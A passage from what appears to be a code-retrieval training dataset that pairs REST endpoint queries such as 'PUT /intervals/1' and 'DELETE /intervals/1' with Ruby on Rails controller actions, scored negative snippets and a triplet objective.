current_user.votes.create!(vote_params)\n video = Video.find_by_youtube_id(vote.video_id)\n p \"enqueuing votes by interval for video: #{video.youtube_id}\"\n EventFactory::calculate_votes_by_intervals(video)\n\n render json: {data: vote}\n # respond_to do |format|\n # if @vote.save\n # format.html { redirect_to @vote, notice: 'Vote was successfully created.' }\n # format.json { render :show, status: :created, location: @vote }\n # else\n # format.html { render :new }\n # format.json { render json: @vote.errors, status: :unprocessable_entity }\n # end\n # end\n rescue\n render json: {error: 'error creating vote'}\n end", "def create\n\t\turi = URI.parse(Counter::Application.config.simplyurl)\n\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\t\n\t\trequest = Net::HTTP::Post.new('/offsets.json')\n\t\tputs params\n\t\tputs params.slice(*['custids','acctids','itemids'])\n\t\t\n\t\t# ok, this join stuff is bogus - it encodes properly, but the other side only sees the last element and loses the array type - it's just string\n\t\t# this way, i 'split' it at the other side to recover my array\n\t\t# it should work without the join/split crap, but it doesn't\n\t\trequest.set_form_data({:custids => ( params['custids'] || []).join(','), :acctids => ( params['acctids'] || []).join(','), :itemids => ( params['itemids'] || []).join(','), :amount => params['amount'], :type => params['type']})\n\t\t\n\t\tputs request.body\n\t\t\n\t\tresponse = http.request(request)\n\t\tputs response.body\n\n respond_to do |format|\n format.html { render :text => response.code == :ok ? \"\" : response.body, status: response.code }\n format.json { render :text => response.code == :ok ? \"\" : response.body, status: response.code }\n end\n end", "def enqueue_in(interval, klass, *args); end", "def create\n @threshold = Threshold.new(threshold_params)\n\n respond_to do |format|\n if @threshold.save\n format.html { redirect_to thresholds_path, notice: 'Threshold was successfully created.' }\n format.json { render :show, status: :created, location: @threshold }\n else\n format.html { render :new }\n format.json { render json: @threshold.errors, status: :unprocessable_entity }\n end\n end\n end", "def merge(intervals)\n return [] if intervals.empty?\n\n intervals.sort!\n\n merged_intervals = []\n window = intervals[0]\n\n (1...intervals.length).each do |end_idx|\n interval = intervals[end_idx]\n if window.last < interval.first # could be >=\n merged_intervals << window\n window = interval\n end\n\n # we dont need window[0] = [...].min because its sorted\n window[1] = [window.last, interval.last].max\n end\n merged_intervals << window\n merged_intervals\nend", "def min_meeting_rooms(intervals)\n sorted_intervals = intervals.sort { |a, b| a[0] <=> b[0] }\n heap = MinHeap.new\n\n count = 0\n sorted_intervals.each do |(start, stop)|\n if heap.size.zero?\n heap.add_node(stop)\n count += 1\n else\n if start >= heap.top\n heap.remove_node\n else\n count += 1\n end\n heap.add_node(stop)\n end\n end\n count\nend", "def create\n @heartbeat = Heartbeat.new(heartbeat_params)\n\n if @heartbeat.save\n render json: @heartbeat, status: :created, location: @heartbeat\n else\n render json: @heartbeat.errors, status: :unprocessable_entity\n end\n end", "def double_press?(intervals=@intervals)\n intervals.size == 2 && intervals[1][0] <= @short_interval\n end", "def create\n @threshold = Threshold.new(params[:threshold])\n\n respond_to do |format|\n if @threshold.save\n format.html { redirect_to @threshold, notice: 'Threshold was successfully created.' }\n format.json { render json: @threshold, status: :created, location: @threshold }\n else\n format.html { render action: \"new\" }\n format.json { render json: @threshold.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @rrange = Rrange.new(rrange_params)\n\n respond_to do |format|\n if @rrange.save\n format.html { redirect_to @rrange, notice: 'Rrange was successfully created.' }\n format.json { render :show, status: :created, location: @rrange }\n else\n format.html { render :new }\n format.json { render json: @rrange.errors, status: :unprocessable_entity }\n end\n end\n end", "def ranged_user_data(interval = 'year', from = DateTime.new(0), to = DateTime.now)\n [\n {\n key: 'active',\n name: t('statistics.entries.users.active'),\n data: ExternalUser.joins(:submissions)\n .where(submissions: {created_at: from..to})\n .select(ExternalUser.sanitize_sql(['date_trunc(?, submissions.created_at) AS \"key\", count(distinct external_users.id) AS \"value\"', interval]))\n .group('key').order('key'),\n },\n {\n key: 'submissions',\n name: t('statistics.entries.exercises.submissions'),\n data: Submission.where(created_at: from..to)\n .select(Submission.sanitize_sql(['date_trunc(?, created_at) AS \"key\", count(id) AS \"value\"', interval]))\n .group('key').order('key'),\n axis: 'right',\n },\n ]\n end" ]
[ "0.6927481", "0.67218024", "0.6366835", "0.6256302", "0.59467745", "0.5943228", "0.5845371", "0.5840887", "0.57896054", "0.57688963", "0.5756314", "0.57203054", "0.5698124", "0.5609115", "0.5449912", "0.5426786", "0.5344713", "0.5296285", "0.5284035", "0.52645314", "0.52518207", "0.5214069", "0.5210741", "0.5187177", "0.51575965", "0.51437914", "0.514028", "0.51239896", "0.51215905", "0.51024836", "0.5093919", "0.508756", "0.50560755", "0.50433546", "0.49945685", "0.49919415", "0.4981458", "0.49692413", "0.49638936", "0.49571347", "0.49570876", "0.4936622", "0.49363127", "0.49321234", "0.49321234", "0.49074695", "0.48867694", "0.48729405", "0.4867103", "0.48658592", "0.48637146", "0.48599857", "0.48599312", "0.4850389", "0.48442936", "0.484024", "0.4830893", "0.48269367", "0.4813806", "0.47935805", "0.478338", "0.47814244", "0.47743177", "0.47743177", "0.47736764", "0.47707236", "0.47594097", "0.47466704", "0.47450098", "0.47416726", "0.47211596", "0.47163957", "0.47124448", "0.4692602", "0.4665204", "0.46529007", "0.46465546", "0.4642549", "0.46398214", "0.46361426", "0.4631734", "0.463054", "0.46287146", "0.46283013", "0.46234205", "0.46123675", "0.46093652", "0.45987818", "0.4585219", "0.4579596", "0.4577117", "0.4575319", "0.4559693", "0.45510802", "0.45349357", "0.45322898", "0.45316488", "0.4525901", "0.45193735", "0.45187536" ]
0.69765866
0
PUT /intervals/1 PUT /intervals/1.json
def update @interval = Interval.find(params[:id]) respond_to do |format| if @interval.update_attributes(params[:interval]) format.html { redirect_to @interval, notice: 'Interval was successfully updated.' } format.json { head :no_content } else format.html { render action: "edit" } format.json { render json: @interval.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_interval\n @interval = Interval.find(params[:id])\n end", "def update\n respond_to do |format|\n if @interval.update(interval_params)\n format.html { redirect_to @interval, notice: 'Interval was successfully updated.' }\n format.json { render :show, status: :ok, location: @interval }\n else\n format.html { render :edit }\n format.json { render json: @interval.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @interval = Interval.new(params[:interval])\n\n respond_to do |format|\n if @interval.save\n format.html { redirect_to @interval, notice: 'Interval was successfully created.' }\n format.json { render json: @interval, status: :created, location: @interval }\n else\n format.html { render action: \"new\" }\n format.json { render json: @interval.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @interval = Interval.new(interval_params)\n\n respond_to do |format|\n if @interval.save\n format.html { redirect_to @interval, notice: 'Interval was successfully created.' }\n format.json { render :show, status: :created, location: @interval }\n else\n format.html { render :new }\n format.json { render json: @interval.errors, status: :unprocessable_entity }\n end\n end\n end", "def interval_params\n params.require(:interval).permit(:numerator, :denominator, :description, :name)\n end", "def update\n respond_to do |format|\n if @interval_constraint.update(interval_constraint_params)\n format.html { redirect_to @interval_constraint, notice: 'Interval constraint was successfully updated.' }\n format.json { render :show, status: :ok, location: @interval_constraint }\n else\n format.html { render :edit }\n format.json { render json: @interval_constraint.errors, status: :unprocessable_entity }\n end\n end\n end", "def intervals\n rest.get instrument_path('activeIntervals')\n end", "def update!(**args)\n @adjacent_intervals = args[:adjacent_intervals] if args.key?(:adjacent_intervals)\n end", "def update\n @timing = Timing.find(params[:id])\n if @timing.update_attributes(params[:timing].slice(:start, :stop, :days, :active))\n render json: @timing\n else\n render json: { error: 'error: could not update timing' }\n end\n end", "def destroy\n @interval = Interval.find(params[:id])\n @interval.destroy\n redirect_to(intervals_url)\n end", "def destroy\n @interval = Interval.find(params[:id])\n @interval.destroy\n\n respond_to do |format|\n format.html { redirect_to intervals_url }\n format.json { head :no_content }\n end\n end", "def set_interval_constraint\n @interval_constraint = IntervalConstraint.find(params[:id])\n end", "def update!(**args)\n @interval_duration = args[:interval_duration] if args.key?(:interval_duration)\n @points = args[:points] if args.key?(:points)\n end", "def update\n respond_to do |format|\n if @stock_interval.update(stock_interval_params)\n format.html { redirect_to @stock_interval, notice: 'Stock interval was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @stock_interval.errors, status: :unprocessable_entity }\n end\n end\n end", "def interval=(new_interval)\n @interval = new_interval\n self[Incident.interval_predicate] = new_interval.uri\n end", "def show\n @interval = Interval.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @interval }\n end\n end", "def update!(**args)\n @count = args[:count] if args.key?(:count)\n @interval = args[:interval] if args.key?(:interval)\n @value = args[:value] if args.key?(:value)\n end", "def initialize(intervals)\n @intervals = Utils::Ring.wrap(intervals)\n end", "def new\n @interval = Interval.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @interval }\n end\n end", "def update!(**args)\n @metric_requests = args[:metric_requests] if args.key?(:metric_requests)\n @time_range = args[:time_range] if args.key?(:time_range)\n end", "def update!(**args)\n @metric_requests = args[:metric_requests] if args.key?(:metric_requests)\n @time_range = args[:time_range] if args.key?(:time_range)\n end", "def update!(**args)\n @periods = args[:periods] if args.key?(:periods)\n end", "def update!(**args)\n @periods = args[:periods] if args.key?(:periods)\n end", "def update!(**args)\n @periods = args[:periods] if args.key?(:periods)\n end", "def update!(**args)\n @periods = args[:periods] if args.key?(:periods)\n end", "def show\n Interval.find(params[:id])\n end", "def set_stock_interval\n @stock_interval = StockInterval.find(params[:id])\n end", "def update!(**args)\n @individual_segments = args[:individual_segments] if args.key?(:individual_segments)\n @segment_duration = args[:segment_duration] if args.key?(:segment_duration)\n end", "def reserves=(x)\n if x.is_a?(Hash)\n $stderr.puts ':reserves is deprecated. Please use :intervals instead.'\n self.intervals=x \n end\n end", "def interval_param\n \"interval:auto\"\n end", "def update\n @arrival_range = ArrivalRange.find(params[:id])\n\n respond_to do |format|\n if @arrival_range.update_attributes(params[:arrival_range])\n format.html { redirect_to @arrival_range, notice: 'Arrival range was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @arrival_range.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_interval\n self.interval =\n case repetitions\n when 1 then 1\n when 2 then 6\n else\n (repetitions - 1) * easiness_factor\n end\n end", "def index\n @interval_constraints = IntervalConstraint.all\n end", "def create\n @interval_constraint = IntervalConstraint.new(interval_constraint_params)\n\n respond_to do |format|\n if @interval_constraint.save\n format.html { redirect_to @interval_constraint, notice: 'Interval constraint was successfully created.' }\n format.json { render :show, status: :created, location: @interval_constraint }\n else\n format.html { render :new }\n format.json { render json: @interval_constraint.errors, status: :unprocessable_entity }\n end\n end\n end", "def interval=(interval)\n if interval.nil?\n fail ArgumentError, 'invalid value for \"interval\", interval cannot be nil.'\n end\n @interval = interval\n end", "def destroy\n @interval.destroy\n respond_to do |format|\n format.html { redirect_to intervals_url, notice: 'Interval was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def update_tenant_maintenance_window(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/maintenance/{tenantId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update\n @time_slot = TimeSlot.find(params[:id])\n @recurrence_array = @time_slot.recurrence_pattern.split(//)\n respond_to do |format|\n if @time_slot.update_attributes(params[:time_slot])\n format.html { redirect_to @time_slot, notice: 'Time slot was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @time_slot.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @time_range = args[:time_range] if args.key?(:time_range)\n end", "def update(type, start=nil, interval=nil)\n @start = start\n @type = type\n @interval = interval\n end", "def interval=(val)\n attribute_set(:interval,val.kind_of?(Numeric) ? val : INTERVALS_MAP[val.to_s])\n end", "def update_current_tenant_maintenance_window(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/maintenance\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def update\n @heartbeat = Heartbeat.find(params[:id])\n\n if @heartbeat.update(heartbeat_params)\n head :no_content\n else\n render json: @heartbeat.errors, status: :unprocessable_entity\n end\n end", "def update\n @salary_range = SalaryRange.find(params[:id])\n\n respond_to do |format|\n if @salary_range.update_attributes(params[:salary_range])\n format.html { redirect_to @salary_range, notice: 'Salary range was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @salary_range.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @count = args[:count] if args.key?(:count)\n @time_range = args[:time_range] if args.key?(:time_range)\n end", "def update\n @timer = Timer.find(params[:id])\n\n if @timer.update(timer_params)\n head :no_content\n else\n render json: @timer.errors, status: :unprocessable_entity\n end\n end", "def update\n standard_update(Interest, params[:id], interest_params)\n end", "def update\n respond_to do |format|\n if @counter_schedule.update(counter_schedule_params)\n format.html { redirect_to @counter_schedule, notice: 'Counter schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @counter_schedule }\n else\n format.html { render :edit }\n format.json { render json: @counter_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @heartbeat = Heartbeat.find(params[:id])\n\n respond_to do |format|\n if @heartbeat.update_attributes(params[:heartbeat])\n format.html { redirect_to @heartbeat, notice: 'Heartbeat was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @heartbeat.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @stock_interval = StockInterval.new(stock_interval_params)\n\n respond_to do |format|\n if @stock_interval.save\n format.html { redirect_to @stock_interval, notice: 'Stock interval was successfully created.' }\n format.json { render action: 'show', status: :created, location: @stock_interval }\n else\n format.html { render action: 'new' }\n format.json { render json: @stock_interval.errors, status: :unprocessable_entity }\n end\n end\n end", "def perform_in(interval, *args)\n int = interval.to_f\n now = Time.now.to_f\n ts = (int < 1_000_000_000 ? now + int : int)\n\n item = { 'class' => self, 'args' => args, 'at' => ts }\n\n # Optimization to enqueue something now that is scheduled to go out now or in the past\n item.delete('at'.freeze) if ts <= now\n\n client_push(item)\n end", "def metric_update(statuspage_id, metric_id, day_avg, day_start, day_dates, day_values,\n week_avg, week_start, week_dates, week_values,\n month_avg, month_start, month_dates, month_values)\n data = {}\n data['statuspage_id'] = statuspage_id\n data['metric_id'] = metric_id\n data['day_avg'] = day_avg\n data['day_start'] = day_start\n data['day_dates'] = day_dates\n data['day_values'] = day_values\n data['week_avg'] = week_avg\n data['week_start'] = week_start\n data['week_dates'] = week_dates\n data['week_values'] =week_values\n data['month_avg'] = month_avg\n data['month_start'] = month_start\n data['month_dates'] = month_dates\n data['month_values'] = month_values\n\n request :method => :post,\n :url => @url + 'metric/update',\n :payload => data\n end", "def update!(**args)\n @case_insensitive = args[:case_insensitive] if args.key?(:case_insensitive)\n @contains = args[:contains] if args.key?(:contains)\n @intervals = args[:intervals] if args.key?(:intervals)\n @key = args[:key] if args.key?(:key)\n @order_by = args[:order_by] if args.key?(:order_by)\n @prefixes = args[:prefixes] if args.key?(:prefixes)\n @restricted_values = args[:restricted_values] if args.key?(:restricted_values)\n end", "def update!(**args)\n @integer_buckets = args[:integer_buckets] if args.key?(:integer_buckets)\n end", "def subintervals(intervals, &block)\n raise ArgumentError.new('intervals must be an array') unless intervals.is_a? Array\n\n steps = [] # Steps will be extracted from intervals\n subintervals = [] # The output\n last_time = nil\n last_attrs = nil\n started_count = 0 # The number of intervals opened inside the cycle\n\n # Extract start times and end times from intervals, and create steps\n intervals.each do |el|\n begin\n ts = el[:time_start].to_time\n te = el[:time_end].to_time\n rescue NoMethodError\n raise ArgumentError.new('intervals must define :time_start and :time_end as Time or Date')\n end\n attrs = el.clone\n attrs.delete(:time_start)\n attrs.delete(:time_end)\n steps << { opening: 1, time: el[:time_start], attrs: attrs } # Start step\n steps << { opening: -1, time: el[:time_end], attrs: attrs.clone } # End step\n end\n\n # Sort steps by time (and opening if time is the same)\n steps.sort! do |a,b|\n diff = a[:time] <=> b[:time]\n diff = a[:opening] <=> b[:opening] if (diff == 0)\n diff\n end\n\n # Iterate over steps\n steps.each do |step|\n if (started_count == 0)\n last_time = step[:time]\n last_attrs = step[:attrs]\n else\n if(step[:time] > last_time)\n subintervals << ({\n time_start: last_time,\n time_end: step[:time]\n }.merge(last_attrs))\n\n last_time = step[:time]\n end\n\n if block_given?\n last_attrs = block.call(last_attrs.clone, step[:attrs],(step[:opening] == 1 ? :open : :close))\n else\n last_attrs = step[:attrs]\n end\n end\n\n # Update started_count\n started_count += step[:opening]\n end\n\n subintervals\n end", "def update!(**args)\n @default_report_interval = args[:default_report_interval] if args.key?(:default_report_interval)\n @min_report_interval = args[:min_report_interval] if args.key?(:min_report_interval)\n @tasks = args[:tasks] if args.key?(:tasks)\n end", "def save(id)\n CONNECTION.execute(\"UPDATE ages SET range = '#{@range}' WHERE id = #{@id};\")\n end", "def update!(**args)\n @hours_type_id = args[:hours_type_id] if args.key?(:hours_type_id)\n @periods = args[:periods] if args.key?(:periods)\n end", "def update\n respond_to do |format|\n if @qty_range.update(qty_range_params)\n format.html { redirect_to @qty_range, notice: \"Qty range was successfully updated.\" }\n format.json { render :show, status: :ok, location: @qty_range }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @qty_range.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @interest = Interest.find(params[:id])\n \n respond_to do |format|\n if @interest.update_attributes(params[:interest])\n format.json { head :ok }\n else\n format.json { render :json => @interest.errors,\n :status => :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @count_restriction = args[:count_restriction] if args.key?(:count_restriction)\n @exception = args[:exception] if args.key?(:exception)\n @frequency = args[:frequency] if args.key?(:frequency)\n @metadata = args[:metadata] if args.key?(:metadata)\n @period = args[:period] if args.key?(:period)\n @range_restriction = args[:range_restriction] if args.key?(:range_restriction)\n @relative_range_restriction = args[:relative_range_restriction] if args.key?(:relative_range_restriction)\n @restriction = args[:restriction] if args.key?(:restriction)\n @start = args[:start] if args.key?(:start)\n @start_point = args[:start_point] if args.key?(:start_point)\n @start_range = args[:start_range] if args.key?(:start_range)\n @start_relative = args[:start_relative] if args.key?(:start_relative)\n @target = args[:target] if args.key?(:target)\n @time_interval = args[:time_interval] if args.key?(:time_interval)\n @unit = args[:unit] if args.key?(:unit)\n end", "def update\n budgets = update_budgets(params[:budgets])\n\n render json: budgets, status: :ok\n end", "def interval=(_arg0); end", "def update\n [:in_time, :out_time].each do |i|\n if shift_params[i] =~ /^[0-9]{1,2}:[0-9]{2}[ap]m$/\n params[:shift][i] = @shift.start_time.to_date.to_s(:db) + \" \" + shift_params[i]\n puts params[:shift][i]\n end\n end\n\n respond_to do |format|\n if @shift.update(shift_params)\n format.html { redirect_to :shifts, notice: 'Shift was successfully updated.' }\n format.json { render :show, status: :ok, location: @shift }\n else\n format.html { render :edit }\n format.json { render json: @shift.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @special_hour_periods = args[:special_hour_periods] if args.key?(:special_hour_periods)\n end", "def update!(**args)\n @special_hour_periods = args[:special_hour_periods] if args.key?(:special_hour_periods)\n end", "def update!(**args)\n @special_hour_periods = args[:special_hour_periods] if args.key?(:special_hour_periods)\n end", "def update!(**args)\n @special_hour_periods = args[:special_hour_periods] if args.key?(:special_hour_periods)\n end", "def update\n @interruption = Interruption.find(params[:id])\n\n respond_to do |format|\n if @interruption.update_attributes(params[:interruption])\n format.html { redirect_to @interruption, notice: 'Interruption was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @interruption.errors, status: :unprocessable_entity }\n end\n end\n end", "def updateRecordsInterval\n @temps = []\n temps_from_db = Temp.last(1152)\n\n temps_from_db.each do |record|\n if record.id % 6 == 0\n @temps << record\n # puts record.id\n end\n end\n render json: @temps\n end", "def stock_interval_params\n params.require(:stock_interval).permit(:ticker, :open, :close, :interval, :volume, :percChange)\n end", "def update\n @incident = Incident.find(params[:id])\n\n if @incident.update(incident_params)\n head :no_content\n else\n render json: @incident.errors, status: :unprocessable_entity\n end\n end", "def update\n period = current_user.school.periods.find(params[:id])\n\n if period.update(period_params)\n render json: period, status: :accepted\n else\n render json: {errors: period.errors}, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @intolerance.update(intolerance_params)\n format.html { redirect_to @intolerance, notice: 'Intolerance was successfully updated.' }\n format.json { render :show, status: :ok, location: @intolerance }\n else\n format.html { render :edit }\n format.json { render json: @intolerance.errors, status: :unprocessable_entity }\n end\n end\n end", "def incident_update(statuspage_id, incident_id, incident_details, current_status, current_state, notifications = 0, message_subject = \"Status Notification\")\n data = get_notify(notifications)\n data['statuspage_id'] = statuspage_id\n data['incident_id'] = incident_id\n data['incident_details'] = incident_details\n data['current_status'] = current_status\n data['current_state'] = current_state\n data['message_subject'] = message_subject\n\n request :method => :post,\n :url => @url + 'incident/update',\n :payload => data\n end", "def update\n respond_to do |format|\n if @api_v1_initiative.update(api_v1_initiative_params)\n format.html { redirect_to @api_v1_initiative, notice: 'Initiative was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @task.update(task_params)\n @task.whenever_reset unless task_params[:every].blank? && task_params[:at].blank?\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_range_rate\n @range_rate = RangeRate.find(params[:id])\n end", "def update\n @trial = Trial.find(params[:id])\n \n startTime = Time.zone.parse(params[:trial][\"start\"])\n endTime = Time.zone.parse(params[:trial][\"end\"])\n \n # move to model with before_save.\n # See http://stackoverflow.com/questions/1424777/how-to-convert-user-input-hours-minutes-seconds\n if !startTime.nil? && !endTime.nil?\n elapsedTime = endTime - startTime\n @trial.elapsed = elapsedTime\n end\n \n #params[:trial][\"start\"] = '2008-10-10 12:11:10.000'\n\n respond_to do |format|\n if @trial.update_attributes(params[:trial])\n format.html { redirect_to(@trial, :notice => 'Trial was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @trial.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n params[:trainingsession][:existing_interval_attributes] ||= {}\n @trainingsession = Trainingsession.find(params[:id])\n\n respond_to do |format|\n if @trainingsession.update_attributes(params[:trainingsession])\n flash[:notice] = 'Trainingsession was successfully updated.'\n format.html { redirect_to(@trainingsession) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @trainingsession.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @confidence = args[:confidence] if args.key?(:confidence)\n @display_name = args[:display_name] if args.key?(:display_name)\n @id = args[:id] if args.key?(:id)\n @time_segment_end = args[:time_segment_end] if args.key?(:time_segment_end)\n @time_segment_start = args[:time_segment_start] if args.key?(:time_segment_start)\n end", "def update\n @one_time_stop = OneTimeStop.find(params[:id])\n\n respond_to do |format|\n if @one_time_stop.update_attributes(params[:one_time_stop])\n format.html { redirect_to @one_time_stop, notice: 'One time stop was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @one_time_stop.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @periodic.update(periodic_params)\n format.html { redirect_to @periodic, notice: 'Periodic was successfully updated.' }\n format.json { render :show, status: :ok, location: @periodic }\n else\n format.html { render :edit }\n format.json { render json: @periodic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @time_gap = TimeGap.find(params[:id])\n\n respond_to do |format|\n if @time_gap.update_attributes(params[:time_gap])\n format.html { redirect_to @time_gap, notice: 'Time gap was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @time_gap.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @dayopen = args[:dayopen] if args.key?(:dayopen)\n @interval = args[:interval] if args.key?(:interval)\n end", "def update!(**args)\n @segments = args[:segments] if args.key?(:segments)\n end", "def update!(**args)\n @segments = args[:segments] if args.key?(:segments)\n end", "def update\n respond_to do |format|\n if @incident.update(incident_params)\n format.json { head :no_content }\n else\n format.json { render json: @incident.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @hours = args[:hours] if args.key?(:hours)\n @metadata = args[:metadata] if args.key?(:metadata)\n @range = args[:range] if args.key?(:range)\n end", "def update!(**args)\n @begin = args[:begin] if args.key?(:begin)\n @blacklisted_ranges = args[:blacklisted_ranges] if args.key?(:blacklisted_ranges)\n @day_of_month = args[:day_of_month] if args.key?(:day_of_month)\n @day_of_week = args[:day_of_week] if args.key?(:day_of_week)\n @end = args[:end] if args.key?(:end)\n @every = args[:every] if args.key?(:every)\n @month_of_year = args[:month_of_year] if args.key?(:month_of_year)\n @num_occurrences = args[:num_occurrences] if args.key?(:num_occurrences)\n @week_of_month = args[:week_of_month] if args.key?(:week_of_month)\n end", "def update\n @schedule = Schedule.find(params[:id])\n\n if @schedule.update(params[:schedule])\n head :no_content\n else\n render json: @schedule.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @interviewscheduler.update(interviewscheduler_params)\n format.html { redirect_to @interviewscheduler, notice: 'Interviewscheduler was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @interviewscheduler.errors, status: :unprocessable_entity }\n end\n end\n end", "def insert(intervals, new_interval)\n intervals << new_interval\n intervals.select { |x| x.end < new_interval.start } +\n [intervals.select { |x| overlaps?(x, new_interval) }.reduce { |acc, x|\n Interval.new([acc.start, x.start].min, [acc.end, x.end].max)\n }] +\n intervals.select { |x| new_interval.end < x.start}\nend", "def update\n metric.update_attributes(update_params)\n\n respond_with(metric)\n end", "def update\n\t\t@auto_scaling_trigger = AutoScalingTrigger.find(params[:id], :include => [ :auto_scaling_group ])\n\t\t@auto_scaling_group = @auto_scaling_trigger.auto_scaling_group\n\t\tast_params = params[:auto_scaling_trigger]\n\t\t\n\t\tunless ast_params.nil?\n\t\t\tast_params.each do |k,v|\n\t\t\t\tast_params[k] = v.chomp\n\t\t\tend\n\t\tend\n\t\t\n\t\trespond_to do |format|\n\t\t\tif @auto_scaling_trigger.update_attributes(ast_params)\n\t\t\t\tp = @auto_scaling_group\n\t\t\t\to = @auto_scaling_trigger\n\t\t\t\tAuditLog.create_for_parent(\n\t\t\t\t\t:parent => p,\n\t\t\t\t\t:auditable_id => o.id,\n\t\t\t\t\t:auditable_type => o.class.to_s,\n\t\t\t\t\t:auditable_name => o.name,\n\t\t\t\t\t:author_login => current_user.login,\n\t\t\t\t\t:author_id => current_user.id,\n\t\t\t\t\t:summary => \"updated '#{o.name}'\",\n\t\t\t\t\t:changes => o.tracked_changes,\n\t\t\t\t\t:force => false\n\t\t\t\t)\n\t\t\telse\n\t\t\t\t@error_messages = @auto_scaling_trigger.errors.collect{ |attr,msg| \"#{attr.humanize} - #{msg}\" }\n\t\t\t\tflash[:error] = @error_messages.join('<br/>')\n\t\t\tend\n\t\t\tformat.json { render :json => @auto_scaling_trigger }\n\t\tend\n\tend", "def perform_in(interval, *args); end", "def perform_in(interval, *args); end", "def poll_intervals\n [0.5, 1, 2, 4, 8, 16]\n end", "def perform_at(interval, *args); end" ]
[ "0.6427973", "0.63097686", "0.6118346", "0.5999847", "0.575412", "0.571396", "0.568996", "0.56198615", "0.56122905", "0.54825395", "0.5443053", "0.54045177", "0.5391283", "0.5360666", "0.5324008", "0.52961034", "0.52954674", "0.5286055", "0.526202", "0.5248202", "0.5248202", "0.5235418", "0.5235418", "0.5235418", "0.5235418", "0.52227545", "0.51733667", "0.5161952", "0.5110128", "0.507973", "0.50445336", "0.5041165", "0.5034194", "0.5020965", "0.49859926", "0.49748474", "0.49741694", "0.49561366", "0.494954", "0.49477172", "0.49162227", "0.49090952", "0.48817176", "0.4877058", "0.48375463", "0.4832305", "0.48297295", "0.48227918", "0.48032793", "0.47935876", "0.47652638", "0.47563958", "0.47535917", "0.4743408", "0.47381225", "0.47374234", "0.47363782", "0.47363767", "0.4735933", "0.473151", "0.47280067", "0.4726442", "0.47260773", "0.47203752", "0.47083855", "0.46981496", "0.46981496", "0.46981496", "0.46981496", "0.46921408", "0.4687008", "0.4683005", "0.4675749", "0.46551314", "0.46512696", "0.46510923", "0.46503755", "0.4646236", "0.46391776", "0.46389368", "0.46381178", "0.46375197", "0.46374914", "0.46366522", "0.46350187", "0.4631541", "0.46297994", "0.46297994", "0.4622199", "0.46183455", "0.4617188", "0.46146035", "0.46112067", "0.46098748", "0.46049508", "0.4604345", "0.4603462", "0.4603462", "0.46027067", "0.45879596" ]
0.6662279
0
DELETE /intervals/1 DELETE /intervals/1.json
def destroy @interval = Interval.find(params[:id]) @interval.destroy respond_to do |format| format.html { redirect_to intervals_url } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
